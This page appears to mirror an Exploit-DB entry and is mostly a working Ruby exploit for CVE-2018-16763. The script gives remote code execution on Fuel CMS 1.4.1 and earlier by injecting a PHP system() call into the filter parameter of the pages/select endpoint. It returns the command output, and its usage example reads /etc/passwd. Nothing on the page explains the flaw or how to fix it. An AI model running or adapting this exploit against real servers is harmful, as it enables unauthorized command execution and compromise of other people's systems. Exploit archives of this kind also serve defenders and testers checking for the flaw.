Fuel CMS 1.4.1 – Remote Code Execution (2) - 体验盒子

作者： Alexandre ZANNI

日期： 2021-01-28

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/49487/

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# Title: Fuel CMS 1.4.1 - Remote Code Execution (2)

# Exploit Author: Alexandre ZANNI

# Date: 2020-11-14

# Vendor Homepage: https://www.getfuelcms.com/

# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1

# Version: <= 1.4.1

# Tested on: Ubuntu 16.04

# CVE : CVE-2018-16763

# References: https://www.exploit-db.com/exploits/47138

#!/usr/bin/env ruby

require 'httpclient'

require 'docopt'

# dirty workaround to ignore Max-Age

# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932

$VERBOSE = nil

doc = <<~DOCOPT

Fuel CMS 1.4 - Remote Code Execution

Usage:

#{__FILE__} <url> <cmd>

#{__FILE__} -h | --help

Options:

<url> Root URL (base path) including HTTP scheme, port and root folder

<cmd> The system command to execute

-h, --helpShow this screen

Examples:

#{__FILE__} http://example.org id

#{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'

DOCOPT

def exploit(client, root_url, cmd)

url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"

res = client.get(url)

/system(.+?)<div/mx.match(res.body).captures[0].chomp

end

begin

args = Docopt.docopt(doc)

clnt = HTTPClient.new

puts exploit(clnt, args['<url>'], args['<cmd>'])

rescue Docopt::Exit => e

puts e.message

end